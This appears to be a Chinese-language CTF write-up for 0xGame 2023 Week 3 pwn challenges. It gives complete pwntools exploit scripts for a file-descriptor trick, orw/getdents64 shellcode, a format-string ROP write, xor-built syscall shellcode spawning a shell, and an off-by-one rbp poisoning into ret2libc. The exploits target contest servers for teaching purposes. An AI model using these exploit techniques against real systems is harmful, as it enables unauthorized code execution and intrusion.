0xGame 2023 Week3 Pwn WriteUp

all-in-files

主要想介绍一下linux的文件描述符，还需要注意一下发文件名的时候需要用send不能sendline

```
from pwn import *
#s=process("./fd")
s=remote("192.168.3.253",53000)
s.sendafter(b"open: ",b"/flag")
s.sendlineafter(b"from: ",b"1")
s.sendlineafter(b"to: ",b"2")
s.interactive()
```

写到stderr而不写到stdin的原因是~~它没关~~高版本下stdin只读，原因不明。

然后有人来问才发现read的时候直接用的open返回的fd，之前输入的in_fd根本没用上。~~不愧是签到题，更简单子~~

shellcode, but FOP

> 毕竟是CTF，我们还是要面向flag编程的，对吧，对吧~

主要是开了沙盒，不能用execve，不能拿shell了。

但结论要看目的，你的目的是拿flag，那还能抢救。

我们考虑orw，open-read-write，把flag文件打开，把文件内容读取到内存中，然后再写出来。

具体到哪取决于具体情况，对于本题来说。

这里文件名加了随机，我们还要了解一下怎么通过系统调用来获取当前目录下的所有文件。

用`getdents64`系统调用获取当前目录下文件，然后遍历`dirent64`结构体即可。

手搓shellcode的经验需要慢慢积累，不用急。

```
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#s=process("../dist/ret2shellcode-revenge")
s=remote("192.168.3.253",53001)
#sc=shellcraft.open("flag")+shellcraft.read(3,0x20230000,0x100)+shellcraft.write(1
,0x20230000,0x100)
pause()
sc="""
xor rdi,rdi
xor dl,dl
push rdx
pop rsi
```

```
syscall  # first read()
"""
sc2="""
push rsi
pop rdi
xor rsi,rsi
xor rdx,rdx
push 2
pop rax
syscall   # open
push rdi
pop rsi
add rsi,0x500
push rax
pop rdi
inc dh
push SYS_getdents64
pop rax
syscall   # getdents64

push rsi
pop r12                      # r12 = current linux_dirent64

jmp loop
loop_start:
xor r13,r13
mov r13w, word ptr [r12+0x10] # next linux_dirent64 offset
cmp dword ptr [r12+0x13], 0x67616c66 # "flag"
jz start_orw
add r12, r13                 # r13 = next linux_dirent64

loop:
cmp qword ptr [r12+8],0
jz finish
jmp loop_start


start_orw:
push r12
pop rdi
add rdi,0x13
xor rsi,rsi
push rsi;pop rdx
push 2;pop rax
syscall      # open flag
push rax
pop rdi
push r12
pop rsi
add rsi,0x100
inc dh
xor rax,rax
syscall      # read flag content to buf
push 2;pop rdi
```

```
push rdi;pop rax
dec rax
syscall      # write flag content to stderr
push 1
pop rax
push r12
pop rsi
add rsi,0x13
syscall      # write flag name to stderr

finish:
push 0x3c
pop rax
syscall      # exit

"""
s.sendafter(b"code:\n",asm(sc).rjust(0x100,b"\x90"))
s.send(b".\x00".ljust(0x100,b"\x90")+asm(sc2))
s.interactive()
```

fmt3

无限次fmt写ROP链，没啥好说的。

```
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
work_path="../dist/"
elf_name="fmt3"
libc_name="libc.so.6"
remote_addr="192.168.3.253"
remote_port=52002
elf_path=work_path+elf_name
libc_path=work_path+libc_name

if remote_addr!="": s=remote(remote_addr,remote_port)
else: s=process(elf_path)
elf=ELF(elf_path)
if libc_name!="": libc=ELF(libc_path)
def fmtstring(prev,word,index):
    if word==prev:
        result=0
        fmtstr=""
    elif word==0:
        result=256-prev
        fmtstr=f"%{result}c"
    elif prev<word:
        result=word-prev
        fmtstr=f"%{result}c"
    elif prev>word:
        result=256-prev+word
```

```
        fmtstr=f"%{result}c"
    fmtstr+=f"%{index}$hhn"
    return [fmtstr.encode(),result]
def fmt64(offset,original_offset,addr,content,inner=False):
    payloada=b""
    prev=0
    i=0
    if content==0:
        payload=f"%{offset+1}$lln".encode().ljust(8,b"A")+p64(addr)
        return payload
    while (content>>(i*8))>0:
        retl=fmtstring(prev,(content>>i*8)&0xff,offset+i)
        payloada+=retl[0]
        prev+=retl[1]
        prev&=0xff
        i+=1
    while len(payloada)%8!=0:
        payloada+=b"a"
    if offset==original_offset+len(payloada)/8 and inner:
        return payloada
    payload=fmt64(offset+1,original_offset,addr,content,True)
    if inner:
        return payload
    for ii in range(i):
        payload+=p64(addr+ii)
    return payload
def send_fmt(content,flag=False,exit_flag=False):
    s.sendlineafter(b"content: ",content)
    if flag:
        dat=s.recvline()[:-1]
    if exit_flag:
        s.sendafter(b"more?\n",b"n")
    else:
        s.sendafter(b"more?\n",b"y")
    if flag:
        return dat


if __name__=="__main__":
    dat=send_fmt(b"%40$p.%36$p.%30$p.",flag=True).split(b".")
    rbp=eval(dat[0])-0xf0+8
    libc.address=eval(dat[1])-(0x7ffff7fba2e8-0x7ffff7dc9000)
    elf.address=eval(dat[2])-0x40
    success(hex(rbp))
    success(hex(libc.address))
    success(hex(elf.address))
    addr_l=[]
    for i in range(6):
        addr_l.append(rbp+i*8)
    content_l=[libc.address+0x0000000000023b63,0,0,0,0,libc.address+0xe3afe]
    for i in range(len(addr_l)-1):
        send_fmt(fmt64(8,8,addr_l[i],content_l[i]))
    send_fmt(fmt64(8,8,addr_l[5],content_l[5]),exit_flag=True)
    s.interactive()
```

shellcode, but without syscall.

主要提一下`fini_array`，程序退出时执行存在其中的函数指针。

还有让大伙看一眼静态编译出来的程序长什么样子（

但我在出题测试的时候发现只有`NO RELRO`情况下`fini array`才可写，如此一来意义也就不大了。

shellcode部分的话，`xor qword ptr [rip], #imm`造syscall，或者找个libc相关地址算一下`syscall;ret`的gadget然后`call`过去都行。

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
def pwns():
    #s=process("../dist/pwns")
    #pause()
    s=remote("192.168.3.253",53003)
    s.sendlineafter(b"length:\n",b"32")
    shellcodes="""
    xor rax,rax
    mov esi,0x20230000
    xor dword ptr [rip],0x9f
    nop
    """
    s.sendafter(b"code:\n",asm(shellcodes)+b"\x05")
    s.sendlineafter(b"Where?\n",b"4DB038")
    s.sendafter(b"What?\n",p64(0x20230000))
    s.send(b"\x90"*0x20+asm(shellcraft.sh()))
    s.interactive()

if __name__=="__main__":
    pwns()
```

没了溢出，你能秒我？

并不算裸的栈迁移。

输入函数存在多写1byte `b"\x00"`的漏洞，在经过vuln和main两个函数的`leave;ret`之后，rsp会指向被我们低位写0的rbp，这个值会比本来的rbp小，因此可以抬栈。

如此一来我们就可以先行在栈中布置ROP链，然后赌rbp的最低一位足够大，写0之后可以给我们充足的栈空间用来ROP。

至于它最后rsp指向栈中什么位置我们并不需要关心，直接把ROP链放在后面，前面塞满ret，只要你hit到一个ret就能让他滑到末尾（跟第一周shellcode前面塞满nop是一个思路）。

可以试着挂个gdb调一调。

然后就是常规ret2libc。

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./poison-rbp")
s=remote("192.168.3.253",52004)
elf=ELF("../dist/poison-rbp")
libc=ELF("../dist/libc.so.6")

rdi=0x0000000000401393
p=flat([
    rdi,elf.got['puts'],
    elf.plt['puts'],
    elf.sym.main,
])
while len(p)!=0x100:
    p=p64(rdi+1)+p
s.sendafter(b"Try perform ROP!\n",p)
s.recvline()
libc.address=u64(s.recvline()[:-1].ljust(8,b'\x00'))-libc.sym.puts
success(hex(libc.address))

p=flat([
    0x000000000040138c,0,0,0,0,
    libc.address+0xe3afe,
])
while len(p)!=0x100:
    p=p64(rdi+1)+p
s.sendafter(b"Try perform ROP!\n",p)
s.recvline()
s.interactive()
```